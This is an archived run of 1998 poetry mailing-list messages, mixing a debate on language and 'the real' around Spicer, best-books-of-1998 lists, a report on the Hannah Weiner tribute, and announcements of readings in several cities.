perhaps one reason it has been important for some to argue that others have denied the existence of "the real" is that it allows for maintaining exactly the separation they accuse others of having made? It is a rather large leap from "there is, for us, no unmediated experience of a prehuman real" to "there's no there there" -- but by arguing that Prof. X doesn't believe there is an outside, I place myself in the position of claiming to have access to an outside beyond words which I can then "get into words" --

but I ramble, and now I have to ramble to Santa Barbara -- will see where these threads have gotten us when I return --

bless us all, every one

↑ Index

361. **Aldon Nielsen**
meant to ask this in the preceding
Thu 12 Nov 1998

---

have just seen a note regarding a new collection of poetry by Ray Bremser, titled "The Conquerors" -- from Water Row Press -- which I hope means that Bremser himself is still around and communicating -- Does anyone know anything of ray bremser, his current state, whether he answers his mail, etc.?????

↑ Index

362. **Katherine Lederer**
Reduced rates on student loans (but you have to call them)
Thu 12 Nov 1998

-----Original Message-----
From: Miller, Stephen
Posted At: Monday, November 02, 1998 10:19 AM
Posted To: Bulletin Board (NYC)
Conversation: Reduced student loans rates (but you must call!)
Subject: Reduced student loans rates (but you must call!)

Congress recently passed a bill that lowers the interest rate on student loans from a fixed 8.23% to 7.46% at present, but variable up to 8.23% for the life of the loan. This is good for existing loans, too, as long as you give them a call to get it changed. The number to do this is if you have not already is:

[redacted] (Loan Consolidation Center)

The phone call only takes ten to fifteen minutes.

You must contact them by Jan 31, 1999 to qualify.

**Please pass on this message to anyone else you know who might be blessed with student debt.

↑ Index

363. **Hannah J Sassaman**
Re: Reduced rates on student loans (but you have to call them)
Thu 12 Nov 1998

Eeep -- sorry guys, was trying to bounce that to someone else.

(expecting pebbles to fly in her direction)

Let me know what you think of this issue of CrossConnect!
(http://ccat.sas.upenn.edu/xconnect)

Also, if Rae Armantrout is on this account, I loved your reading tonight at the Writers House at Penn, and would like to contact you. Let me know.

Hannah Sassaman
****

Hannah Jane Sassaman
Assistant Editor, CrossConnect
Sophomore at the University of Pennsylvania
Major in Theatre Arts and English

http://www.sas.upenn.edu/~hannahjs

School Address: 4009 Pine St. Philadelphia, PA 19104
Home Address: 42 Framingham Lane Pittsford, NY 14534

Talk not of wasted affection; affection never was wasted.
-- Henry Wadsworth Longfellow

My father warned me about men and booze, but he never mentioned a word about women and cocaine.

-- Tallulah Bankhead

↑ Index

364. Max Winter
recognizance
Thu 12 Nov 1998

There are poets in Dallas, Texas who are currently unrecognizable, so much has happened.

Any time you have more than one poet, you have a "group of poets."

If you have more than one group of poets in the same space, this is known as a "set."

Several sets of poets in different spaces in the same larger space, i.e. a city or even a larger town, may constitute a heading, perhaps a Dewey Decimal category.

Please address all questions or problems to the appropriate officer. You will see signs telling you where to go.

Thank you for your patience.

↑ Index

365. Safdie Joseph
Re: "getting the real into words"
Thu 12 Nov 1998

Aldon asks:

are there acts of language that "contain" reality? that have gotten the real into themselves, which would imply that there are words that have not got the real in them?

I say yes

really?

yes -- they are what we call "great poems" and the people who form and make such acts of language are great poets (I'm aware that these terms ruffle some postmodernist feathers, but I can't find others -- WCW, in an early essay, said there was nothing worth aiming for but greatness, and I think we all KNOW what he was talking about, even though that word is out of favor now)

Aldon also asks:

but doesn't this way of saying continue the separation??

and to that, and to the rest of his very intelligent speculations, I can offer no response -- if such "ways of saying" perpetuate the separation, they aren't meant to -- separation kills

Still kicking that stone . . .

Joe

↑ Index

366. Peter Quartermain
puff, puff, puff!
Fri 13 Nov 1998

Well! given puffery as the order of the day, don't forget my own staggeringly insightful and beeyootifully written essay in the same book, and let me mention too my own and others' BRILLIANT work in Charles Bernstein's stupendous Close Listening (is that what it's called?).

PQ

At 04:53 PM 11/12/98 -0500, Kent Johnson wrote:
>By the way, I don't think there was ever any discussion at all on the
>List about another book anyone with an interest in Zukofsky should
>not be without: _Upper Limit Music_, a collection of essays on LZ
>ed. by Mark Scroggins himself and also published by Alabama. In fact,

>I feel compelled to say (I don't know why; I suppose I am simply
>moved by the moment to do so) that this book contains an essay
>written by me and which I don't feel diffident about at all. No,
>because it is an absolutely brilliant and original piece of work, my
>essay is, though not half as brilliant (seriously) as I am sure
>Mark's new book is.
>
+ + + +

368. **Mark Baker**
Re: A summary of what sticks
Fri 13 Nov 1998

> *-- Mark Baker noted that I had broken*
> *the lines into verse (did that*
> *change their meaning, Mark?)*

Not their meaning, Joe, but their pretentiousness: they looked like a solemn ars poetica, written in pretty boring free verse, when in prose they look just pretty boring, like that stirring final phrase ("something alive -- caught forever in the structure of words") that I can imagine some textbook called Why Read Poetry concludes its Introduction to Students with.

Mark Baker

↑ Index

369. **Douglas**
Re: And yet more on Hejinian . . .
Fri 13 Nov 1998

MY LIFE is temporarily out of stock. We will be
reprinting before the end of the year.

Douglas Messerli
Sun & Moon Press

Mark W Scroggins wrote:
>
> Always get in touch with Sun & Moon directly when you're teaching My
> Life--I've been given this runaround by pointy-headed campus bookstores
> several times now, and every time it's turned out the book is alive, well,
> & available.
>
> Mark Scroggins

↑ Index

370. **Judy Roitman**
Re: "getting the real into words"
Fri 13 Nov 1998

---

ay ay ay ay. it's the _mind_ does all that squeezing in&out in&out.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]

| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
---
http://www.math.ukans.edu/~roitman/

↑ Index

371. **james perez**
re green-ber(g)-nstein
Fri 13 Nov 1998

---

somebody on another list I'm on just wrote this

>>Yes! I read some MakeUp interview where they talked for something like four or five paragraphs about how Clement Greenberg was a CIA plant and how the New York School was responsible for all these post-war social evils, mostly involving drawing the public away from content-based art....<<

other than being just plain funny-to-me, I thought it would add an interesting twist to the whole cg=cb idea...cuz after all I've always though cb was some kind of mole, I just don't know who he's workin for (or his/their final intentions)

jamie.p

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

372. **Mairead Byrne**
Re: re green-ber(g)-nstein
Fri 13 Nov 1998

I think you're onto something here because it was just as I was getting down to probing the question of "secret ingredients" with our man in the U.K. (Operation Mars Bar) that I got that horrid message from the Man on Top. I may be silen.....

On Fri, 13 Nov 1998, james perez wrote:

> *somebody on another list I'm on just wrote this*
>
> *Yes! I read some MakeUp interview where they talked for something like four or five paragraphs about how Clement Greenberg was a CIA plant and how the New York School was responsible for all these post-war social evils, mostly involving drawing the public away from content-based art....<<*

> *other than being just plain funny-to-me, I thought it would add an interesting twist to the whole cg=cb idea...cuz after all I've always though cb was some kind of mole, I just don't know who he's workin for (or his/their final intentions)*
>
> *jamie.p*
>
> ---
>
> *Get Your Private, Free Email at http://www.hotmail.com*

↑ Index

373. **KENT JOHNSON**

Ghosts at a party

Fri 13 Nov 1998

Joe Safdie's summary of the Spicer discussion is very helpful and smart. Aldon Nielsen's remarks on it very interesting and smart too. And Mark Baker's dismissal of Spicer as boring and academic is astonishingly funny.

If I could say just a couple of things before running back home to clean the house for my wife's 40th birtday surprise party tomorrow, to which EVERYONE on this List is invited (you have my address from a post of the other day) even though no one on this List invites ME anywhere:

1) I have to correct Joe's statement that I "explained" where Spicer's "ghostliness" came from. I have no idea, really, where the ghosts _truly_ come from or what is theeir nature, and if I did it would take all the fun out of things.

2) I actually thought that my comment about rocks and language was the most interesting thing I said in the Spicer exchange, whetehr or not that means the comment was interesting in itself: The idea, that is, that just because rocks have been around longer than language doesn't make the latter any less real than the former. Each has _entered_ the real and taken its place within it. So has air and light (maybe these "real" substances bear a closer "resemblance" to language than rocks). In other words, there is no basis, so far as I can see, for regarding lnaguage as something "inside" and rocks and light and air as the Other that is "outside" and more actual and Real. The substance of rocks and light and air, stars and so on, inhabits us and makes us what we are and language swirls around inside all that stuff which is inside and outside us. Which means, to me, as I said before, that there is an Outside but that there is no outside of Outside, which is perhaps a terryfying thought if it is so. This woudl be what makes the ghosts very real, thoough as I said, where they come from and what they truly are is another question.

And If you're coming to the party, be there no later than 8:15! There will be a stage for Blabbering.

Kent

↑ Index

374. **dbkk**
and the winners are---
Fri 13 Nov 1998

Joe Amato forwarded the list of the best books of poetry of 1998 as compiled by Publishers Weekly:

> *_last chance for the tarzan holler_, by thylias moss (braziller)*
>
> *_hay_, by paul muldoon (fsg)*
>
> *_mysteries of small houses_, by alice notley (penguin)*
>
> *_from the devotions_, by carl phillips (graywolf)*
>
> *_the bird catcher_, by marie ponsot (knopf)*
>
> *_an anthology of new (american) poets_, ed. lisa jarnot, leonard schwartz and chris stroffolino (talisman)*

There are a lot of books I haven't gotten up to reading yet, but here are some that genuinely excited me in 1998:

"Free Space Comix" by Brian Kim Stefans (Roof) and "Multiple Poses" by Colin Smith (Tsunami Editions) . . . If I could do a tenth of what these 2 boys can do I'd be patting myself on the back all the time even in my sleep. If you haven't read these books go out and find them now. I babble about them constantly like St Paul after leaving Tarsus.

Ditto for "Debbie: an Epic" by Lisa Robertson (New Star Books), and "Maxfield Parrish" by Eileen Myles (Black Sparrow), but now I can't remember if they were published this year or last.

"Moving Borders" (ed. M. M. Sloan, Talisman House) was for me the signal anthology experience of the year.

"Routine Disruptions" by Kenward Elmslie (Coffee House)--though it leaves out a lot of my favorite poems by Elmslie I keep reading it again and again.

The three first books from the new Atelos Books are each, in their different ways, so excellent "Bad History" (Watten) "The I and the You" (Jean Day) and Rae Armantrout's incredible memoir "True"

Peter Gizzi's "Artificial Heart" from Burning Deck has a title I'm not crazy about, but what's inside is gorgeous.

Also want to mention a quintet of great books by SF Bay Area writers, "Mortal City" by Jocelyn Saidenberg (Parentheses Writing Series); "Dura" by Myung Mi Kim (Sun & Moon); "Dark," by Hoa Nguyen (okay, excuse me Austin people, but I don't want to accept that Hoa Nguyen has left us and moved to Texas); Laura Moriarty's "Spicer City" which has made San Francisco a fun place to live in again; and "Not Right Now" (Second Story Books) by Renee Gladman which I have raved about on this List before.

I'm forgetting lots of others so please, someone, pick up this thread and remind me, what have been *your* favorites in 1998?

Kevin Killian Oh my goodness, how could I forget the novel of the century "The Letters of Mina Harker" AND the best biography of the year "Poet Be Like God"? So you see, it's too early in the morning for me to be making up lists.

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375. **ken|n|ing**

Re: and the winners are---

Fri 13 Nov 1998

Kevin & the rest -- a few choices for favorite book of poems
this year: Andrew Levy
Elephant Surveillance to Thought
Liz Waldner
Homing Devices
Katy Lederer
Music No Staves
Yedda Morrison
The Marriage of the Well-Built Head
Lyn Hejinian
A Book from A Border Comedy
-- and as for the most-anticipated . . .
Nathaniel Mackey
Atet A.D. &
Whatsaid Serif

-- others, anyone?

|
|
k e n n i n g`````````````````````|```

a newsletter of contemporary |poetry, poetics, and non-fiction writing
|418 Brown St. #10 Iowa City, IA 52245 USA

↑ Index

376. KENT JOHNSON
Surprise!
Fri 13 Nov 1998

Charles:

My parents live in Green Valley, about 20 miles south of Tucson. I will be visiting them over the Thanksgiving holidays. I will be at your door with a tray of relish on the evening of the 25th.

Thank you and Surprise!

Kent

↑ Index

377. Michael Magee
Re: and the winners are---
Fri 13 Nov 1998

Just received Mackey's *Whatsaid Serif* and it is incredibly good. Hopefully the special issue of Callaloo will drive home the point that he's as important as anyone writing right now. For those who like Whatsiad Serif by all means pick up Nate's CD "Strick" where songs 16-25 are read with musical collaboration (that is, if you haven't already). As for other best book cabdidates, well, it's not quite this year but Michael Gizzi's '97 *No Both* was great and I'm anxious to read Bob Perelman's The Future of Memory straight through. I'll second the thumbs up on Levy's "Elephant" too. -m.

According to ken|n|ing: >
> Kevin & the rest -- a few choices for favorite book of poems
> this year: Andrew Levy
> Elephant Surveillance to Thought
> Liz Waldner
> Homing Devices
> Katy Lederer
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```
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>
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>
>                       |
>                       |
> k e n n i n g``````````````|```````````````````````````
> a newsletter of contemporary |poetry,  poetics,  and  non-fiction writing
>                       |418 Brown St. #10  Iowa City, IA 52245  USA
>
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378. Pritchett,Patrick

Re: and the winners are---

Fri 13 Nov 1998

My own list of great recent "arrivals" would include Elizabeth Robinson's _Other Veins, Absent Roots_ and Hoa Nguyen's _Dark_.

Patrick Pritchett

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379. Tenney Nathanson

POG event, Tuesday, Nov 17, 7pm, Dinnerware

Fri 13 Nov 1998

November 17, Tuesday

Douglas Barbour & Stephen Scobie, poets/performers
Barbara Penn, visual artist

Dinnerware Contemporary Artists Gallery
135 E. Congress Street, Tucson
7pm

suggested contribution at the door: $5 (no one turned away!)

DOUGLAS BARBOUR

Douglas Barbour has written more than 15 books or pamphlets of poetry and literary criticism, and has edited eight other books. His Visible Visions: The Selected Poems of Douglas Barbour, was awarded the Stephan Stephannson Award, a major Canadian poetry award. His poems have been published in 18 anthologies and over 50 journals in Canada, Australia, New Zealand, the US,

and Britain. He has given poetry readings in Australia, Austria, Canada, Denmark, Great Britain, Hungary, New Zealand, Sweden, and West Germany.

One critic says of Barbour’s work: "Barbour works at the boundaries of the lyric mode and this results in compelled poems that make for compelling reading. . . . These are the poems of a writer who listens to the works of others, and whose listening makes possible poetic structures that are remarkable for their intellectual vitality and immediacy. . . . Story for a Saskatchewan Night is such a pleasure to read because Barbour composes with the trained ear of a musician who's got something to say before the lights go out forever."
Roy Miki, Canadian Literature 131 (Winter 1991).

STEPHEN SCOBIE

Stephen Scobie’s McAlmon’s Chinese Opera won the Canadian Governor-General's Award for Poetry (equivalent to the National Book Award in the United States). Scobie has also been awarded the Prix Gabrielle Roy, for Excellence in Canadian Criticism, and has been chosen to be a Fellow of the Royal Society of Canada. His more than 25 books of poetry and literary criticism include McAlmon's Chinese Opera, Expecting Rain, Dunino, The City That Dreams, Taking the Gate: a Journey through Scotland, bpNichol: What History Teaches, Alias Bob Dylan, Earthquakes and Explorations : Language / Cubism / Poetry, and many more.

What theCritics say:

"Disarmingly readable, alarmingly bold.... "
Margaret Avison

"Scobie ... has provided a new wisdom book for the Apocrypha." George Woodcock

"Stephen Scobie is a poet of scrupulous, playful exactitude, and writes with the deceptive simplicity of a master of his craft."
Heather Spears

"Whatever Scobie writes demands attention."
NeWest ReView

Barbour and Scobie work together as the Sound Poetry ensemble, Re: Sounding, and have performed as such in Canada, the U.S., Austria, Denmark, Sweden, West Germany [1985], Germany [1993] and Australia & New Zealand [1995] (major appearances include the 12th International Sound Poetry Festival in New York, 1980, the annual conference, Gesellschaft für Kanada-Studien, E.V., Grainau, West Germany, 1985, NZ*SAGAS, Laufen, Germany, 1993, the triennial conference, European Association for Commonwealth Literature and

Language Studies, Graz, Austria, 1993, Poetry and History Conference, University of Stirling, 1996, EyeRhymes, Edmonton, 1997).

BARBARA PENN

Barbara Penn received her MFA in Painting at the University of California, Berkeley. She is an Associate Professor of Art at the University of Arizona, where for four years she directed the Two-Dimensional Foundations Program. Penn uses literary and poetic themes, integral to her paintings, combined media constructions, and installations, and incites issues of domesticity, gender, and the progression of women's roles over time. Her work has been featured in one person shows, both regionally and internationally, including shows in Scottsdale, Tucson, Chicago, San Francisco, and Berlin. In 1997 Penn participated in a group exhibition entitled LANGUAGE AS OBJECT: EMILY DICKINSON AND CONTEMPORARY VISUAL ART, funded by the National Endowment for the Arts, where her installations accompanied works by Joseph Cornell, Judy Chicago, Roni Horn, Lesley Dill, and others. Reviews of her work have appeared in ARTWEEK, the SAN FRANCISCO CHRONICLE, and DIE TAGESZEITZUNG (Berlin). In September of 1996 Penn was awarded an artist's residency in Julin, Poland. Other awards include a Skowhegan Fellowship, a Millay Colony Fellowship, and a Yaddo Fellowship.

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380. s. kaipa
KENNING, Interlope, & films!
Fri 13 Nov 1998

For those of you who reside in or around the Iowa City area:

KENNING & Interlope magazines, in collaboration with 4 Chicago film makers will be hosting a poetry reading and film screening. This marvelous event will start at 8pm at 714 Kirkwod Ave, corner of Dodge.

Poets: Tina Celona, Patrick F. Durgin, Jen Hofer, Summi Kaipa, and Emily Wilson

Film-makers: Ken Eisenstein, David Gatten, Sarah Jane Lapp, and Heather Seybolt

KENNING & Interlope will be available for purchase--as well as the chapbooks of Tina Celona, Patrick F. Durgin, and Jen Hofer.

↑ Index

381. Aldon Nielsen
Ray Bremser
Fri 13 Nov 1998

In response to my last post I have received independent postings stating that Bremser had died just recently. Since these came from different sources, it is probably true. Bremser has written some intriguing works in between, and during, his bouts with himself. Let's hope there will be a collected works soon --

meantime, here's the info. I had received about his most recent book:

The Conquerors
Sudbury, MA
Water Row Press
1998
$20.00
61 pp pbk

Has anyone actually seen this book yet???

for that mater, has anyone read Bonnie Bremser's disturbing but beautiful book, Troia?

will be back Tuesday -- if I don't see you at Kent's wife's birthday party, maybe I'll see you "outside."

everybody stay safe!

↑ Index

382. Mark Weiss
Re: POG event, Tuesday, Nov 17, 7pm, Dinnerware
Fri 13 Nov 1998

Tenney--wish I could be there. I passed thru Tucson last week, called but
got no answer. Am told you're once more up to your ears in diapers.
Congrats. Also picked up your chapbook One Block Over, which I liked a lot.
All the best.
At 11:00 AM 11/13/98 -0700, you wrote:
>November 17, Tuesday
>
>Douglas Barbour & Stephen Scobie, poets/performers
>Barbara Penn, visual artist
>
>Dinnerware Contemporary Artists Gallery
>135 E. Congress Street, Tucson
>7pm

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>suggested contribution at the door: $5 (no one turned away!)
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>DOUGLAS BARBOUR
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>Denmark, Great Britain, Hungary, New Zealand, Sweden, and West Germany.
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>One critic says of Barbour’s work:
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>awarded an artist’s residency in Julin, Poland. Other awards include a
>Skowhegan Fellowship, a Millay Colony Fellowship, and a Yaddo Fellowship.
>
>

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383. Mark Weiss
ooops
Fri 13 Nov 1998

I'll get it right some day. Sorry, Tenney. Sorry, list.

But it is a very good chapbook, available from Chax Press. And a nice piece of design (no surprise), Charles.

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384. MAYHEW
Irby on Duncan
Fri 13 Nov 1998

Announcing:

Poetics seminar: Wed. November 18, 5 p.m. Hall Center for the Humanities, University of Kansas, Lawrence, featuring Ken Irby, "The Poetry and Poetics of Robert Duncan." Readings available through the Hall Center.

Jonathan

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385. Tom Orange
After they've seen the Pah'ree Commune (iteee)
Fri 13 Nov 1998

michael, jacques, charles, mark et al:

been grappling with these notions of community and extended milieu for a piece i'm almost finished with, and have found some interesting argumnets in an essay collection called /living the global city/ (ed. john eade, routledge 1997) that may help us work thru some of these notions. e.g.:

"to understand community, therefore, a break has to be made with an intellectual tradition which was shaped by our nineteenth-century forebearers and which associated community with a disappearing world of traditional solidarities and values. . . . community is in the process of being disembedded,

therefore, to the extent that we identify its reconstitution on a non-local, non-spatialy bounded basis" (24-25).

in place of community comes the notion of "extended milieux" which "not only transcend the surroundings of specific locales, but...inhabit space by meaningfully integrating (geographically) distant places into a biographical situation. this implies the structuring of people's lives around more than one focus, as well as the immediate impact of distant places on the place of bodily presence. in extended milieux 'here' and 'there' do not equal 'near' and 'far', that is 'familiar' and 'unfamiliar'. familiarity thus is no longer solely related to the person's immediate physical environment in 'readiness at hand'. it extends to distant familiar places and their interwovenness in a uniquely personal way" (70).

this more accurately describes for me the dispersed network of relations that i, like michael i think, find myself in. my "biographical situation" affords me the opportunity to drive to nyc for the hannah weiner tribute, where, for example, i miss meeting up with my toronto friends, re-visit nyc friends from the last time i was there -- all of whom, additionally, have engaged with the philly people -- meet new buffalo people with whom i have been in touch before, meet that prof in minnesota whose posts here i've been reading for years now, etc...

t.

[redacted]

↑ Index

386. **Gabriel Gudding**

Re: Free reading=Interview

Fri 13 Nov 1998

On Fri, 13 Nov 1998, Eliza McGrand wrote:

> *dear gabriel (aka gaga)*
>
> *why aren't you forwarding MY note to the hiring committee too? i think you are just jealous of my chartreuse sequinned dress. i think you wish YOU could write a sad poem while yodeling.*

Dear Sir,

I am now sitting at my dinky laptop.

I think I can with certainty convey to you my aunt's wishes that you drop this matter at once. Vile threats and puling guffaws will not sway us, nor can you frighten me with the gruesome and deep holes in your face, one of which I'm pretty sure you use as a mouth.

> *perhaps you've even tried to commit interpretive dance whilst yodelling AND writing sad poetry. and failed. how sad.*

You will recall that I remember your sequinned dress and commented when last you wore it that it looks like the instrument panel of an airline cockpit during a three-engine flame-out. Please never wear it again.

> *i don't want to depress you more, or send you into ever more burning throes of envy, but sometimes, while i'm doing a reading, i make sweet, loon-like hooting sounds by squeezing my palms together rhythmically.*

The act you describe here reminds me of one physiologists call TENESMUS. You will need to look this up. "Gaiety," Stevens said, "in poetry is a precious characteristic, but it should be a characteristic of the diction, not of palm farting."

I will pass along your note to the Biological Warfare department, your laser dress might give them a few ideas about bioluminescing bombs maybe.

Yours in abject poor taste,
Gaga

↑ Index

387. **Linda Russo**
Re: Hannah Weiner Notes
Fri 13 Nov 1998

---

p.s. to Tom Orange your question re "Fe" is answered herein:

Saturday November 7, 1998 : Hannah Weiner Tribute : St. Mark's Place Church collaborative response by LooRusso and Chris Alexander

In more-or-less alphabetical order (in fact - a matter which I did not attune to until Ron Silliman followed James Sherry although Lewis Warsh had presented much earlier) individuals, introduced by the event's coordinators Charles Bernstein and Lee Ann Brown, proceeded to the podium of the crowded hall to read Hannah's work, to betray their own memories, to respond. Actually, the participants didn't present in alphabetical order, so far as I could tell. Afterward there was some discussion amongst my circle [of attendees] as to whether reading one's own work was an appropriate response? It was a wonderful tribute. That the appropriateness of a response somehow expired after a certain length of time? Certainly one wouldn't want to invalidate poetic responses to Hannah's work - I'm sure the latter will continue to be the most prominent, if not in fact the most important form of address to HW - however, there was some question, esp. with regard to writers who didn't seem to have 'a lot to say' about her (e.g., on whom she'd "had a big influence for about two months"). But perhaps one would be the 'lot to say' themselves, as evidence of Hannah's influence - her way of saying providing one with a way to say one's (other) (nether) world. On the nother hand, why *should* self-interest (or just

"interest," as it would have been called by the cynical neoclassicals) be separated from one's interest in the work of another artist? It rarely is that in my own case (I might concur if I had the slightest idea what 'I' am talking about), certainly. Just so long as it doesn't come to eclipse the interest =in the work of another artist=. ENOUGH OF THAT QUIET. Nonetheless, individuals were infrequently boring. Jackson Mac Low read beautifully from The Code Poems approx.: follow me will you lead?
will you follow? I will follow intoned the last poem - taking on a very different significance under the circumstances. Many read from The Fast and some read from Weeks, Clairvoyant Journal, and Silent Teachers Remember Sequel; Jackson Mac Low read from The Code Poems and described what sounded to have been an amazing performance in a Central Park bandshell, in which Hannah enlisted the U.S. Coast Guard to present in flag code the 3 letters that run adjacent to the poem-text which she read. Others read letters they received from Hannah, Sharon Matlin read a short story that referred to itself in the end as an "essay" in which Hannah appeared as "Elizabeth," a curious Anglification, especially since the author referred to 'herself' in the text as "Sharon," (there was some speculation afterward as to whether the boyfriend "Richard" was indeed Bruce Andrews, though not because he played significantly in other works presented, but perhaps because he was glanced at often), Tina Darragh shared a dream, Fiona Templeton thought in the manner of Hannah out loud, Barbara Rosenthal read excessively from her own journals wherever they made reference to Hannah (or her apartment), revealing a shocking portrait of her (who?) as calculating and cold. Maria Damon, apologizing again for not having known HW (ach, Maria so worried) read her belated response (written a few days ago) beautiful, under the circumstances, in it's (should read "its") quotidian detail - e.g., responding to Hannah's queries about the weather in Minneapolis, etc. Also nice because she presented a very human 'Academic' face (& the only one at that). Many, in fact, remembered near-[or apparently outright] harassing phone calls and other such near-intolerable behaviors, a view which, in isolation, might romanticize the artists as sufferer and sufferee had not others presented her as intelligent, generous and responsive. Charles B. spoke of HW with great affection and read three pages, apparently written just after her mother's death, from a notebook/manuscript Hannah had given to him some years ago. Among those present and unaccounted for in our response: Charles Alexander, Alan Davies, Bruce Andrews (no he was accounted for), Bob Perelman, Nick Piombino, P. Inman, (Bernadette Mayer [oft mentioned in _Clairvoyant J-s_] pulled a Barbara Guest, appearing in the program but not in fact), Joe Amato and Kass Fleisher; Ann Tardos was home with a bad cold. There are others too. sorry. Happily, though not altogether happy judging from his tone, James Sherry delivered the coup against a tendency in some participants to romanticize or overemphasize HW's schizophrenia or her

mysticism - variants of reducing her to another hysterical woman; a position I'm sure some found strident, but I personally found moving, the act of a concerned friend. In the 60s according to Carolee Schneeman who brought some of the bras (& these were most decidedly bras though it's often said that Hannah designed "lingerie") Hannah had designed, for example, Hannah, the only of a group of artists with a day job, would make large dinners on payday, - oh that's who that was she had this big plastic ring with bras attached that was supposed to facilitate some kind of communication with Hannah (?) (well it was a circle and it did have red twinkle-lights) and showed some wonderful slides of her as a youth - and in collaboration with Abigail Child she HANNAH was revealed to be, again, generous ("change whatever you want"), responsible and responsive. Ron Silliman read a very Clairvoyant letter from HW. Hannah's brother, Maurice Finegold, eulogized as well, a touching antithesis. I found his presence very moving as well - here was a person who, knowing little-to-nothing of the 'avant garde' poetry scene, took the chance of coming (from Boston, a lovely train ride) (trains are lovely) together with us in tribute to her; as much, presumably, to find a part of her life closed to the family, as to share with us some details of her family life. Yes he was great. A very courageous person, I must say. Bringing with him only an index card. Those words that spoke loudest, though, were the renderings of Hannah's own work, including a film of Hannah reading from and composing Clairvoyant Journal, and another with footage of herself on a roof in a fur hat reading from Ten Little Indian Notebooks (?) choppy-chop spliced (as they say in the bidness) with footage of youths Bruce Andrews reading from a manuscript in an alley, James Sherry on the street or a fire escape gossiping, and Charles Bernstein speaking and gesticulating argumentatively (same eyes he had lots of hair then). I must say (and said to Charles afterward) the footage of these three young "language boys" was degrading (just kidding! it would read "delightful" but for the glee of the collaborate-saboteur). I do hope we'll get a chance to see Harry Hill's films in Buffalo? BE MORE ASSERTIVE. Charles read "fe" from Silent Teachers, Remembered Sequel which includes the lines "we must integrate into the next generation." Charles and Lee Ann Brown (who'd advised as step one in a how-to-read-hannah "it's funny") closed the tribute with a great and emotional performance of a few pages from The Clairvoyant Journal. I can't add anything to this ending: The affair came to a close after so many hours, how many it does not matter in New York on a Saturday night it did not matter (we were hungry then we ate), commemorating her 70th birthday a year after her death it was, true to its form it was a sad occasion for more than a few attendees.

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388. **Herb Levy**
Maghoolaghan chapbook?
Fri 13 Nov 1998

Coming back home after a few weeks away, I can't find a post that I was sure I'd kept about a recent chapbook by Mike Maghoolaghan. Could whoever sent that out originally please send me information on it again.

Thanks.

Herb Levy
[redacted]

↑ Index

389. **Herb Levy**
Seattle Hat Trick
Fri 13 Nov 1998

Interesting readings three days in a row next week, here in the warm, sunny Northwest US - talk with your travel agent today.

Will Alexander/Laynie Browne Thursday November 19 7:30 in the back room of the Speakeasy Cafe at Second & Bell in the continually upgrading Denney Re-grade

Maria Damon, Diane Glancy, Juan Felipe Herrera, Mark Novak Friday November 20th at Elliott Bay Books in historically seedy Pioneer Square

Staggered Thirds: Pieces for three voices by Gregory Hischak, Anna Mockler, Doug Nufer Saturday November 21 8:00 in the back room of the Speakeasy Cafe at Second & Bell in stylish Belltown

See you all there then.

Herb Levy
[redacted]

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390. **Robert Manery by way of Dorothy Trujillo <[redacted]>" <[redacted]>**
KSW Upcoming Events
Fri 13 Nov 1998

Kootenay School of Writing
112 West Hastings St. Vancouver BC [redacted]

Upcoming Events

Gerry Gilbert
Saturday November 14, 8 pm
Free

Gerry Gilbert is the author of over thirty books of poetry, most recently Sex and the Single Mushroom and Azure Blues. Milieu will be publsihed as a book and a CD-ROM by Coach House Books. Gilbert is the host of radiofreerainforest on Co-op Radio and the editor of BC Monthly.

Tom Raworth and Deanna Ferguson
Tuesday November 17, 8 pm
$5/$3

Legendary U.K. poet, teacher, artist Tom Raworth brings his lightning delivery to Vancouver for the second time. Raworth's writing career spans four decades and over forty books, most recently Clean & Well Lit: selected poems 1987 - 1995 (Roof Books 1996) and Silent Rows (The Figures 1995).He founded, with Barry Hall, the influential Goliard Press in 1965 (which became Cape Goliard Press in 1967). He is a contributing editor to DOC(K)S (Ajaccio, Corsica) and to PAGINAS (Tenerife, Spain).

Deanna Ferguson is the author of The Relative Minor (Tsunami 1993) and of numerous chapbooks including Sidewinder, Democratique, Edith and Enid, ddilemma, Goth and Small Holdings. Her work is also included in the anthology Out of Everywhere (Reality Street Editions 1996) edited by Maggie O'Sullivan.

Mark Nowak, Maria Damon and Juan Felipe Herrera
Sunday November 22, 8pm.
$5/$3.

Mark Nowak is editor of the journal Xcp: Cross Cultural Poetics as well as Theodore Enslin's Now, and Then: Selected Poems (National Poetry Foundation) & co-editor (with Diane Glancy) of Visit Teepee Town: Native Writings after the Detours from Coffee House Press (forthcoming, 1999). His "microethnography" Zwyczaj is out in American Anthropologist. His first book, Revenants, is forthcoming from Coffee House Press.

Maria Damon is author of The Dark End of the Street: Margins in American Vanguard Poetry (University of Minnesota Press) and essays in Cultural Critique, Postmodern Culture, the Charles Bernstein edited Close Listening: Poetry and Performed Word (Oxford University Press) and elsewhere.

Juan Felipe Herrera is the author of Laughing Out Loud, I Fly (BIlingual Poems for Children) and Cilantro Facials: The Big Book of Latina and Chicano Toons & Comedy. He teaches cultural studies, creative writing and Chicano teatro at CSU-Fresno.

Doug Henwood (Talk)
Tuesday November 24, 8pm
$5/$3

Doug Henwood is the author of the State of the USA Atlas and Wall Street. He is a frequent contributor to the Nation and is the editor of Left Business Observer. Norman Pearlstine, former executive editor of the Wall Street Journal wrote to Henwood, "You are scum...it's tragic that you exist." With such an endoursement we are quite fortunate to be able to hear Henwood's commentary on current economic machinations.

KSW would like to acknowledge the support of Edgecombe Realty/ Robson Central, the B.C. Arts Council, the British Council and the Canada Council.

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391. Jim Bennett
Welcome to Liverpool
Fri 13 Nov 1998

A free poetry event -

David Bateman

Jim Bennett

Poets David Bateman and Jim Bennett
at the Everyman Bistro, Liverpool. U.K.

8pm on Thursday 26th November

Third Room, Everyman Bistro.

Everyone welcome.

Some open mike time available.

Jim Bennett is still looking for venues for readings West Coast USA in Jan and July 99.

Click on this link to vote for my site. http://conline.net/vote.mv?id=1780

Click on this link to visit my site.
http://www.geocities.com/Athens/Academy/1127/

"Poetry is what the future makes of it." John Garner

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392. joel lewis
hello, people in d.c.
Sat 14 Nov 1998

Yes, i will be leaving my post in new jersey to give a reading this sunday(november 15th) @ 3pm at the "in your ear series" at the d.c. arts center, 24 38 18th St NW in Adams Morgan. in your ear" reading series at the DC arts center. I'll reading with two DC poets, Allison Cobb and Ethan Fugate.

as they say, "hope to see you there"

joel lewis

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393. A. Jenn Sondheim
caul, cowl, wimple
Sat 14 Nov 1998

-

